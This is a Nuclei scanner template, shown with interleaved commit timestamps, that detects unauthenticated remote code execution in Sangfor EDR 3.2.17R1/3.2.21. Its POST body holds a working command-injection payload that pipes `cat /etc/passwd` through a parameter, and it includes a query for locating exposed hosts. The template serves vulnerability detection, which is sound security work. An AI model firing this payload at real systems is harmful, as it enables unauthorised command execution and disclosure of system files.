2021-02-03 04:40:07 +00:00
|
|
|
id: sangfor-edr-rce
|
|
|
|
|
|
|
|
info:
|
2022-06-03 19:12:31 +00:00
|
|
|
name: Sangfor EDR 3.2.17R1/3.2.21 - Remote Code Execution
|
2021-02-03 04:40:07 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2022-06-03 19:12:31 +00:00
|
|
|
description: Sangfor EDR 3.2.17R1/3.2.21 allows remote unauthenticated users to to execute arbitrary commands.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.cnblogs.com/0day-li/p/13650452.html
|
2022-06-03 19:12:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-06-03 19:12:31 +00:00
|
|
|
cwe-id: CWE-77
|
2022-05-23 10:55:10 +00:00
|
|
|
metadata:
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 1
|
2022-05-23 10:55:10 +00:00
|
|
|
fofa-query: app="sangfor"
|
2022-01-04 19:34:16 +00:00
|
|
|
tags: rce,sangfor
|
2021-02-03 04:40:07 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-02-03 04:40:07 +00:00
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9"
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2021-02-03 04:40:07 +00:00
|
|
|
headers:
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2021-02-03 04:40:07 +00:00
|
|
|
body: |
|
|
|
|
{"params":"w=123\"'1234123'\"|cat /etc/passwd"}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
2022-05-23 10:55:10 +00:00
|
|
|
part: body
|
2021-02-03 04:40:07 +00:00
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2022-05-23 10:55:10 +00:00
|
|
|
|
2021-02-03 04:40:07 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 490a00463044022022b4002c808dc82c3ec3a007f619890b0f37d185cccaef72a62aabaccc8b4fdb0220782c59cdad73afb29910801834bab642c0435d034c1362ad986941806ec75e63:922c64590222798bb761d5b6d8e72950
|